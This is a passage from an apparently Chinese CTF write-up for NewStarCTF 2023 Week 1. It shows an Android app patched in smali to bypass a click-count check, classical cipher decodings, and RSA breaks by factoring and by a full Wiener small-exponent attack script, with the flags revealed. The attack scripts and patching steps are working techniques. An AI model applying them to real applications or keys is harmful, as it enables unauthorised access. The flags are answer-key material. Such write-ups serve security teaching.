val$str:Landroid/widget/EditText;<br><br>.field <span class="hljs-keyword">final</span> synthetic val$tv_cnt:Landroid/widget/TextView;<br><br><br># direct methods<br>.method constructor <init>(Lcom/droidlearn/activity_travel/FlagActivity;Landroid/widget/TextView;Landroid/widget/EditText;)V<br> .locals <span class="hljs-number">0</span><br><br> .line <span class="hljs-number">20</span><br> iput-object p1, p0, Lcom/droidlearn/activity_travel/FlagActivity$<span class="hljs-number">1</span>;-><span class="hljs-built_in">this</span>$<span class="hljs-number">0</span>:Lcom/droidlearn/activity_travel/FlagActivity;<br><br> iput-object p2, p0, Lcom/droidlearn/activity_travel/FlagActivity$<span class="hljs-number">1</span>;->val$tv_cnt:Landroid/widget/TextView;<br><br> iput-object p3, p0, Lcom/droidlearn/activity_travel/FlagActivity$<span class="hljs-number">1</span>;->val$str:Landroid/widget/EditText;<br><br> invoke-direct {p0}, Ljava/lang/Object;-><init>()V<br><br> <span class="hljs-keyword">return</span>-<span class="hljs-keyword">void</span><br>.end method<br><br><br># virtual methods<br>.method <span class="hljs-keyword">public</span> <span class="hljs-title function_">onClick</span><span class="hljs-params">(Landroid/view/View;)</span>V<br> .locals <span class="hljs-number">2</span><br><br> .line <span class="hljs-number">23</span><br> iget-object p1, p0, Lcom/droidlearn/activity_travel/FlagActivity$<span class="hljs-number">1</span>;->val$tv_cnt:Landroid/widget/TextView;<br><br> iget-object v0, p0, Lcom/droidlearn/activity_travel/FlagActivity$<span class="hljs-number">1</span>;-><span class="hljs-built_in">this</span>$<span class="hljs-number">0</span>:Lcom/droidlearn/activity_travel/FlagActivity;<br><br> invoke-<span class="hljs-keyword">static</span> {v0}, Lcom/droidlearn/activity_travel/FlagActivity;->access$<span class="hljs-number">004</span>(Lcom/droidlearn/activity_travel/FlagActivity;)I<br><br> move-result v0<br><br> invoke-<span class="hljs-keyword">static</span> {v0}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;<br><br> move-result-object v0<br><br> invoke-virtual {p1, v0}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V<br><br> .line <span class="hljs-number">24</span><br> iget-object p1, p0, Lcom/droidlearn/activity_travel/FlagActivity$<span class="hljs-number">1</span>;-><span class="hljs-built_in">this</span>$<span class="hljs-number">0</span>:Lcom/droidlearn/activity_travel/FlagActivity;<br><br> invoke-<span class="hljs-keyword">static</span> {p1}, Lcom/droidlearn/activity_travel/FlagActivity;->access$<span class="hljs-number">000</span>(Lcom/droidlearn/activity_travel/FlagActivity;)I<br><br> move-result p1<br><br> const/<span class="hljs-number">16</span> v0, <span class="hljs-number">0x2710</span><br><br> <span class="hljs-keyword">if</span>-lt p1, v0, :cond_0<br><br> .line <span class="hljs-number">25</span><br> iget-object p1, p0, Lcom/droidlearn/activity_travel/FlagActivity$<span class="hljs-number">1</span>;-><span class="hljs-built_in">this</span>$<span class="hljs-number">0</span>:Lcom/droidlearn/activity_travel/FlagActivity;<br><br> iget-object v0, p0, Lcom/droidlearn/activity_travel/FlagActivity$<span class="hljs-number">1</span>;->val$str:Landroid/widget/EditText;<br><br> invoke-virtual {v0}, Landroid/widget/EditText;->getText()Landroid/text/Editable;<br><br> move-result-object v0<br><br> invoke-virtual {v0}, Ljava/lang/Object;->toString()Ljava/lang/String;<br><br> move-result-object v0<br><br> const/<span class="hljs-number">4</span> v1, <span class="hljs-number">0x0</span><br><br> invoke-<span class="hljs-keyword">static</span> {p1, v0, v1}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;<br><br> move-result-object p1<br><br> invoke-virtual {p1}, Landroid/widget/Toast;->show()V<br><br> :cond_0<br> <span class="hljs-keyword">return</span>-<span class="hljs-keyword">void</span><br>.end method<br><br></code></pre></td></tr></table></figure><p>发现其中的<code>const/16 v0, 0x2710</code>,其存储为点击次数,将其改为0x1,重新编译安装,打开后点击按钮直接得到flag</p><img src="/2023/09/26/2023newstarctfWeek1/apkre.png" class=""><p><code>flag{Act1v1ty_!s_so00oo0o_lmpor#an#}</code></p><h2 id="Crypto"><a href="#Crypto" class="headerlink" title="Crypto"></a>Crypto</h2><p>解题 10/10</p><h3 id="brainfuck"><a href="#brainfuck" class="headerlink" title="brainfuck"></a>brainfuck</h3><p>下载附件,得到</p><figure class="highlight brainfuck"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs brainfuck"><span class="hljs-literal">++++++++</span><span class="hljs-title">[</span>>><span class="hljs-literal">++</span>><span class="hljs-literal">++++</span>><span class="hljs-literal">++++++</span>><span class="hljs-literal">++++++++</span>><span class="hljs-literal">++++++++++</span>><span class="hljs-literal">++++++++++++</span>><span class="hljs-literal">++++++++++++++</span>><span class="hljs-literal">++++++++++++++++</span>><span class="hljs-literal">++++++++++++++++++</span>><span class="hljs-literal">++++++++++++++++++++</span>><span class="hljs-literal">++++++++++++++++++++++</span>><span class="hljs-literal">++++++++++++++++++++++++</span>><span class="hljs-literal">++++++++++++++++++++++++++</span>><span class="hljs-literal">++++++++++++++++++++++++++++</span>><span class="hljs-literal">++++++++++++++++++++++++++++++</span><<<<<<<<<<<<<<<<<span class="hljs-literal">-</span><span class="hljs-title">]</span>>>>>>>><span class="hljs-literal">++++++</span><span class="hljs-string">.</span>><span class="hljs-literal">----</span><span class="hljs-string">.</span><<span class="hljs-literal">-----</span><span class="hljs-string">.</span>><span class="hljs-literal">-----</span><span class="hljs-string">.</span>><span class="hljs-literal">-----</span><span class="hljs-string">.</span><<<<span class="hljs-literal">-</span><span class="hljs-string">.</span>>><span class="hljs-literal">++</span><span class="hljs-string">.</span><span class="hljs-string">.</span><<span class="hljs-string">.</span>><span class="hljs-string">.</span><span class="hljs-literal">++++++</span><span class="hljs-string">.</span><span class="hljs-string">.</span><span class="hljs-string">.</span><span class="hljs-string">.</span><span class="hljs-string">.</span><span class="hljs-literal">------</span><span class="hljs-string">.</span><<span class="hljs-string">.</span>><span class="hljs-string">.</span><<<<<<span class="hljs-literal">+++</span><span class="hljs-string">.</span>>>>><span class="hljs-literal">+</span><span class="hljs-string">.</span><<<<span class="hljs-literal">+++++++</span><span class="hljs-string">.</span>>>><span class="hljs-literal">+</span><span class="hljs-string">.</span><<<<span class="hljs-literal">-------</span><span class="hljs-string">.</span>>>><span class="hljs-literal">-</span><span class="hljs-string">.</span><<<<span class="hljs-literal">+</span><span class="hljs-string">.</span><span class="hljs-literal">+++++++</span><span class="hljs-string">.</span><span class="hljs-literal">--</span><span class="hljs-string">.</span><span class="hljs-string">.</span>>>>><span class="hljs-literal">---</span><span class="hljs-string">.</span><span class="hljs-literal">-</span><span class="hljs-string">.</span><<<<<span class="hljs-literal">-</span><span class="hljs-string">.</span><span class="hljs-literal">+++</span><span class="hljs-string">.</span>>>>><span class="hljs-string">.</span><<<<<span class="hljs-literal">-------</span><span class="hljs-string">.</span><span class="hljs-literal">+</span><span class="hljs-string">.</span>>>>>><span class="hljs-literal">++</span><span class="hljs-string">.</span><br></code></pre></td></tr></table></figure><p><a href="https://ctf.bugku.com/tool/brainfuck">Brainfuck/OoK加密解密 - Bugku CTF</a>,解密一下,得到flag:<code>flag{Oiiaioooooiai#b7c0b1866fe58e12}</code></p><h3 id="Caesar’s-Secert"><a href="#Caesar’s-Secert" class="headerlink" title="Caesar’s Secert"></a>Caesar’s Secert</h3><p>打开附件,得到<code>kqfl{hf3x4w'x_h1umjw_n5_a4wd_3fed}</code></p><p>凯撒枚举<a href="https://ctf.bugku.com/tool/caesar">凯撒(Caesar)加密/解密 - Bugku CTF</a>,得到flag:<code>flag{ca3s4r's_c1pher_i5_v4ry_3azy}</code></p><h3 id="Fence"><a href="#Fence" class="headerlink" title="Fence"></a>Fence</h3><p>附件内容:<code>fa{ereigtepanet6680}lgrodrn_h_litx#8fc3</code></p><p>栅栏加密<a href="https://ctf.bugku.com/tool/railfence">栅栏加密/解密 - Bugku CTF</a>,枚举解密,得到flag:<code>flag{reordering_the_plaintext#686f8c03}</code></p><h3 id="Vigenere"><a href="#Vigenere" class="headerlink" title="Vigenère"></a>Vigenère</h3><p>附件:<code>pqcq{qc_m1kt4_njn_5slp0b_lkyacx_gcdy1ud4_g3nv5x0}</code></p><p>维吉尼亚解密<a href="https://ctf.bugku.com/tool/vigenere">维吉尼亚加密/解密 - Bugku CTF</a>,密钥用flag前4个字母尝试一下得到:KFC</p><p>得到flag:<code>flag{la_c1fr4_del_5ign0r_giovan_batt1st4_b3ll5s0}</code></p><h3 id="babyrsa"><a href="#babyrsa" class="headerlink" title="babyrsa"></a>babyrsa</h3><p>打开附件</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> *<br><span class="hljs-keyword">from</span> flag <span class="hljs-keyword">import</span> flag<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">gen_prime</span>(<span class="hljs-params">n</span>):<br> res = <span class="hljs-number">1</span><br><br> <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">15</span>):<br> res *= getPrime(n)<br><br> <span class="hljs-keyword">return</span> res<br><br><br><span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:<br> n = gen_prime(<span class="hljs-number">32</span>)<br> e = <span class="hljs-number">65537</span><br> m = bytes_to_long(flag)<br> c = <span class="hljs-built_in">pow</span>(m,e,n)<br> <span class="hljs-built_in">print</span>(n)<br> <span class="hljs-built_in">print</span>(c)<br><span class="hljs-comment"># 17290066070594979571009663381214201320459569851358502368651245514213538229969915658064992558167323586895088933922835353804055772638980251328261</span><br><span class="hljs-comment"># 14322038433761655404678393568158537849783589481463521075694802654611048898878605144663750410655734675423328256213114422929994037240752995363595</span><br></code></pre></td></tr></table></figure><p>使用大整数分解网站<a href="http://www.factordb.com/index.php?id=1100000004708746782">factordb.com</a>,将其分解为多个质数之积</p><figure class="highlight apache"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs apache"><span class="hljs-attribute">1729006607</span>...<span class="hljs-number">61</span><<span class="hljs-number">143</span>> = <span class="hljs-number">2217990919</span><<span class="hljs-number">10</span>> · <span class="hljs-number">2338725373</span><<span class="hljs-number">10</span>> · <span class="hljs-number">2370292207</span><<span class="hljs-number">10</span>> · <span class="hljs-number">2463878387</span><<span class="hljs-number">10</span>> · <span class="hljs-number">2706073949</span><<span class="hljs-number">10</span>> · <span class="hljs-number">2794985117</span><<span class="hljs-number">10</span>> · <span class="hljs-number">2804303069</span><<span class="hljs-number">10</span>> · <span class="hljs-number">2923072267</span><<span class="hljs-number">10</span>> · <span class="hljs-number">2970591037</span><<span class="hljs-number">10</span>> · <span class="hljs-number">3207148519</span><<span class="hljs-number">10</span>> · <span class="hljs-number">3654864131</span><<span class="hljs-number">10</span>> · <span class="hljs-number">3831680819</span><<span class="hljs-number">10</span>> · <span class="hljs-number">3939901243</span><<span class="hljs-number">10</span>> · <span class="hljs-number">4093178561</span><<span class="hljs-number">10</span>> · <span class="hljs-number">4278428893</span><<span class="hljs-number">10</span>><br></code></pre></td></tr></table></figure><p>解密</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> inverse<br><br>n = <span class="hljs-number">2217990919</span> * <span class="hljs-number">2338725373</span> * <span class="hljs-number">2370292207</span> * <span class="hljs-number">2463878387</span> * <span class="hljs-number">2706073949</span> * <span class="hljs-number">2794985117</span> * <span class="hljs-number">2804303069</span> * <span class="hljs-number">2923072267</span> * <span class="hljs-number">2970591037</span> * <span class="hljs-number">3207148519</span> * <span class="hljs-number">3654864131</span> * <span class="hljs-number">3831680819</span> * <span class="hljs-number">3939901243</span> * <span class="hljs-number">4093178561</span> * <span class="hljs-number">4278428893</span><br>e = <span class="hljs-number">65537</span><br>c = <span class="hljs-number">14322038433761655404678393568158537849783589481463521075694802654611048898878605144663750410655734675423328256213114422929994037240752995363595</span><br><br><span class="hljs-comment"># 尝试分解 n</span><br>factors = [<span class="hljs-number">2217990919</span>, <span class="hljs-number">2338725373</span>, <span class="hljs-number">2370292207</span>, <span class="hljs-number">2463878387</span>, <span class="hljs-number">2706073949</span>, <span class="hljs-number">2794985117</span>, <span class="hljs-number">2804303069</span>, <span class="hljs-number">2923072267</span>, <span class="hljs-number">2970591037</span>, <span class="hljs-number">3207148519</span>, <span class="hljs-number">3654864131</span>, <span class="hljs-number">3831680819</span>, <span class="hljs-number">3939901243</span>, <span class="hljs-number">4093178561</span>, <span class="hljs-number">4278428893</span>]<br><br><span class="hljs-comment"># 计算 phi(n)</span><br>phi_n = <span class="hljs-number">1</span><br><span class="hljs-keyword">for</span> factor <span class="hljs-keyword">in</span> factors:<br> phi_n *= (factor - <span class="hljs-number">1</span>)<br><br><span class="hljs-comment"># 计算私钥 d</span><br>d = inverse(e, phi_n)<br><br><span class="hljs-comment"># 解密密文得到明文</span><br>m = <span class="hljs-built_in">pow</span>(c, d, n)<br><br><span class="hljs-comment"># 将明文转换为字节形式</span><br>flag = m.to_bytes((m.bit_length() + <span class="hljs-number">7</span>) // <span class="hljs-number">8</span>, <span class="hljs-string">'big'</span>)<br><span class="hljs-built_in">print</span>(flag)<br></code></pre></td></tr></table></figure><h3 id="Small-d"><a href="#Small-d" class="headerlink" title="Small d"></a>Small d</h3><p>打开附件py代码:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">from</span> secret <span class="hljs-keyword">import</span> flag<br><span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> *<br><br>p = getPrime(<span class="hljs-number">1024</span>)<br>q = getPrime(<span class="hljs-number">1024</span>)<br><br>d = getPrime(<span class="hljs-number">32</span>)<br>e = inverse(d, (p-<span class="hljs-number">1</span>)*(q-<span class="hljs-number">1</span>))<br>n = p*q<br>m = bytes_to_long(flag)<br><br>c = <span class="hljs-built_in">pow</span>(m,e,n)<br><br><span class="hljs-built_in">print</span>(c)<br><span class="hljs-built_in">print</span>(e)<br><span class="hljs-built_in">print</span>(n)<br><br><span class="hljs-comment"># c = 6755916696778185952300108824880341673727005249517850628424982499865744864158808968764135637141068930913626093598728925195859592078242679206690525678584698906782028671968557701271591419982370839581872779561897896707128815668722609285484978303216863236997021197576337940204757331749701872808443246927772977500576853559531421931943600185923610329322219591977644573509755483679059951426686170296018798771243136530651597181988040668586240449099412301454312937065604961224359235038190145852108473520413909014198600434679037524165523422401364208450631557380207996597981309168360160658308982745545442756884931141501387954248</span><br><span class="hljs-comment"># e = 8614531087131806536072176126608505396485998912193090420094510792595101158240453985055053653848556325011409922394711124558383619830290017950912353027270400567568622816245822324422993074690183971093882640779808546479195604743230137113293752897968332220989640710311998150108315298333817030634179487075421403617790823560886688860928133117536724977888683732478708628314857313700596522339509581915323452695136877802816003353853220986492007970183551041303875958750496892867954477510966708935358534322867404860267180294538231734184176727805289746004999969923736528783436876728104351783351879340959568183101515294393048651825</span><br><span class="hljs-comment"># n = 19873634983456087520110552277450497529248494581902299327237268030756398057752510103012336452522030173329321726779935832106030157682672262548076895370443461558851584951681093787821035488952691034250115440441807557595256984719995983158595843451037546929918777883675020571945533922321514120075488490479009468943286990002735169371404973284096869826357659027627815888558391520276866122370551115223282637855894202170474955274129276356625364663165723431215981184996513023372433862053624792195361271141451880123090158644095287045862204954829998614717677163841391272754122687961264723993880239407106030370047794145123292991433</span><br></code></pre></td></tr></table></figure><p>看到d数值比较小,使用低解密指数攻击</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">import</span> gmpy2<br><span class="hljs-keyword">from</span> Crypto.PublicKey <span class="hljs-keyword">import</span> RSA<br><span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> long_to_bytes<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">rational_to_contfrac</span>(<span class="hljs-params">x,y</span>):<br> <span class="hljs-string">'''</span><br><span class="hljs-string"> Converts a rational x/y fraction into</span><br><span class="hljs-string"> a list of partial quotients [a0, ..., an]</span><br><span class="hljs-string"> '''</span><br> a = x//y<br> pquotients = [a]<br> <span class="hljs-keyword">while</span> a * y != x:<br> x,y = y,x-a*y<br> a = x//y<br> pquotients.append(a)<br> <span class="hljs-keyword">return</span> pquotients<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">convergents_from_contfrac</span>(<span class="hljs-params">frac</span>):<br> <span class="hljs-string">'''</span><br><span class="hljs-string"> computes the list of convergents</span><br><span class="hljs-string"> using the list of partial quotients</span><br><span class="hljs-string"> '''</span><br> convs = [];<br> <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-built_in">len</span>(frac)):<br> convs.append(contfrac_to_rational(frac[<span class="hljs-number">0</span>:i]))<br> <span class="hljs-keyword">return</span> convs<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">contfrac_to_rational</span> (frac):<br> <span class="hljs-string">'''Converts a finite continued fraction [a0, ..., an]</span><br><span class="hljs-string"> to an x/y rational.</span><br><span class="hljs-string"> '''</span><br> <span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(frac) == <span class="hljs-number">0</span>:<br> <span class="hljs-keyword">return</span> (<span class="hljs-number">0</span>,<span class="hljs-number">1</span>)<br> num = frac[-<span class="hljs-number">1</span>]<br> denom = <span class="hljs-number">1</span><br> <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(-<span class="hljs-number">2</span>,-<span class="hljs-built_in">len</span>(frac)-<span class="hljs-number">1</span>,-<span class="hljs-number">1</span>):<br> num, denom = frac[_]*num+denom, num<br> <span class="hljs-keyword">return</span> (num,denom)<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">egcd</span>(<span class="hljs-params">a,b</span>):<br> <span class="hljs-string">'''</span><br><span class="hljs-string"> Extended Euclidean Algorithm</span><br><span class="hljs-string"> returns x, y, gcd(a,b) such that ax + by = gcd(a,b)</span><br><span class="hljs-string"> '''</span><br> u, u1 = <span class="hljs-number">1</span>, <span class="hljs-number">0</span><br> v, v1 = <span class="hljs-number">0</span>, <span class="hljs-number">1</span><br> <span class="hljs-keyword">while</span> b:<br> q = a // b<br> u, u1 = u1, u - q * u1<br> v, v1 = v1, v - q * v1<br> a, b = b, a - q * b<br> <span class="hljs-keyword">return</span> u, v, a<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">gcd</span>(<span class="hljs-params">a,b</span>):<br> <span class="hljs-string">'''</span><br><span class="hljs-string"> 2.8 times faster than egcd(a,b)[2]</span><br><span class="hljs-string"> '''</span><br> a,b=(b,a) <span class="hljs-keyword">if</span> a<b <span class="hljs-keyword">else</span> (a,b)<br> <span class="hljs-keyword">while</span> b:<br> a,b=b,a%b<br> <span class="hljs-keyword">return</span> a<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">modInverse</span>(<span class="hljs-params">e,n</span>):<br> <span class="hljs-string">'''</span><br><span class="hljs-string"> d such that de = 1 (mod n)</span><br><span class="hljs-string"> e must be coprime to n</span><br><span class="hljs-string"> this is assumed to be true</span><br><span class="hljs-string"> '''</span><br> <span class="hljs-keyword">return</span> egcd(e,n)[<span class="hljs-number">0</span>]%n<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">totient</span>(<span class="hljs-params">p,q</span>):<br> <span class="hljs-string">'''</span><br><span class="hljs-string"> Calculates the totient of pq</span><br><span class="hljs-string"> '''</span><br> <span class="hljs-keyword">return</span> (p-<span class="hljs-number">1</span>)*(q-<span class="hljs-number">1</span>)<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">bitlength</span>(<span class="hljs-params">x</span>):<br> <span class="hljs-string">'''</span><br><span class="hljs-string"> Calculates the bitlength of x</span><br><span class="hljs-string"> '''</span><br> <span class="hljs-keyword">assert</span> x >= <span class="hljs-number">0</span><br> n = <span class="hljs-number">0</span><br> <span class="hljs-keyword">while</span> x > <span class="hljs-number">0</span>:<br> n = n+<span class="hljs-number">1</span><br> x = x>><span class="hljs-number">1</span><br> <span class="hljs-keyword">return</span> n<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">isqrt</span>(<span class="hljs-params">n</span>):<br> <span class="hljs-string">'''</span><br><span class="hljs-string"> Calculates the integer square root</span><br><span class="hljs-string"> for arbitrary large nonnegative integers</span><br><span class="hljs-string"> '''</span><br> <span class="hljs-keyword">if</span> n < <span class="hljs-number">0</span>:<br> <span class="hljs-keyword">raise</span> ValueError(<span class="hljs-string">'square root not defined for negative numbers'</span>)<br> <br> <span class="hljs-keyword">if</span> n == <span class="hljs-number">0</span>:<br> <span class="hljs-keyword">return</span> <span class="hljs-number">0</span><br> a, b = <span class="hljs-built_in">divmod</span>(bitlength(n), <span class="hljs-number">2</span>)<br> x = <span class="hljs-number">2</span>**(a+b)<br> <span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:<br> y = (x + n//x)//<span class="hljs-number">2</span><br> <span class="hljs-keyword">if</span> y >= x:<br> <span class="hljs-keyword">return</span> x<br> x = y<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">is_perfect_square</span>(<span class="hljs-params">n</span>):<br> <span class="hljs-string">'''</span><br><span class="hljs-string"> If n is a perfect square it returns sqrt(n),</span><br><span class="hljs-string"> </span><br><span class="hljs-string"> otherwise returns -1</span><br><span class="hljs-string"> '''</span><br> h = n & <span class="hljs-number">0xF</span>; <span class="hljs-comment">#last hexadecimal "digit"</span><br> <br> <span class="hljs-keyword">if</span> h > <span class="hljs-number">9</span>:<br> <span class="hljs-keyword">return</span> -<span class="hljs-number">1</span> <span class="hljs-comment"># return immediately in 6 cases out of 16.</span><br><br> <span class="hljs-comment"># Take advantage of Boolean short-circuit evaluation</span><br> <span class="hljs-keyword">if</span> ( h != <span class="hljs-number">2</span> <span class="hljs-keyword">and</span> h != <span class="hljs-number">3</span> <span class="hljs-keyword">and</span> h != <span class="hljs-number">5</span> <span class="hljs-keyword">and</span> h != <span class="hljs-number">6</span> <span class="hljs-keyword">and</span> h != <span class="hljs-number">7</span> <span class="hljs-keyword">and</span> h != <span class="hljs-number">8</span> ):<br> <span class="hljs-comment"># take square root if you must</span><br> t = isqrt(n)<br> <span class="hljs-keyword">if</span> t*t == n:<br> <span class="hljs-keyword">return</span> t<br> <span class="hljs-keyword">else</span>:<br> <span class="hljs-keyword">return</span> -<span class="hljs-number">1</span><br> <br> <span class="hljs-keyword">return</span> -<span class="hljs-number">1</span><br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">wiener_hack</span>(<span class="hljs-params">e, n</span>):<br> frac = rational_to_contfrac(e, n)<br> convergents = convergents_from_contfrac(frac)<br> <span class="hljs-keyword">for</span> (k, d) <span class="hljs-keyword">in</span> convergents:<br> <span class="hljs-keyword">if</span> k != <span class="hljs-number">0</span> <span class="hljs-keyword">and</span> (e * d - <span class="hljs-number">1</span>) % k == <span class="hljs-number">0</span>:<br> phi = (e * d - <span class="hljs-number">1</span>) // k<br> s = n - phi + <span class="hljs-number">1</span><br> discr = s * s - <span class="hljs-number">4</span> * n<br> <span class="hljs-keyword">if</span> (discr >= <span class="hljs-number">0</span>):<br> t = is_perfect_square(discr)<br> <span class="hljs-keyword">if</span> t != -<span class="hljs-number">1</span> <span class="hljs-keyword">and</span> (s + t) % <span class="hljs-number">2</span> == <span class="hljs-number">0</span>:<br> <span class="hljs-built_in">print</span>(<span class="hljs-string">"Hacked!"</span>)<br> <span class="hljs-keyword">return</span> d<br> <span class="hljs-keyword">return</span> <span class="hljs-literal">False</span><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">main</span>():<br> n = <span class="hljs-number">19873634983456087520110552277450497529248494581902299327237268030756398057752510103012336452522030173329321726779935832106030157682672262548076895370443461558851584951681093787821035488952691034250115440441807557595256984719995983158595843451037546929918777883675020571945533922321514120075488490479009468943286990002735169371404973284096869826357659027627815888558391520276866122370551115223282637855894202170474955274129276356625364663165723431215981184996513023372433862053624792195361271141451880123090158644095287045862204954829998614717677163841391272754122687961264723993880239407106030370047794145123292991433</span><br> e = <span class="hljs-number">8614531087131806536072176126608505396485998912193090420094510792595101158240453985055053653848556325011409922394711124558383619830290017950912353027270400567568622816245822324422993074690183971093882640779808546479195604743230137113293752897968332220989640710311998150108315298333817030634179487075421403617790823560886688860928133117536724977888683732478708628314857313700596522339509581915323452695136877802816003353853220986492007970183551041303875958750496892867954477510966708935358534322867404860267180294538231734184176727805289746004999969923736528783436876728104351783351879340959568183101515294393048651825</span><br> c = <span 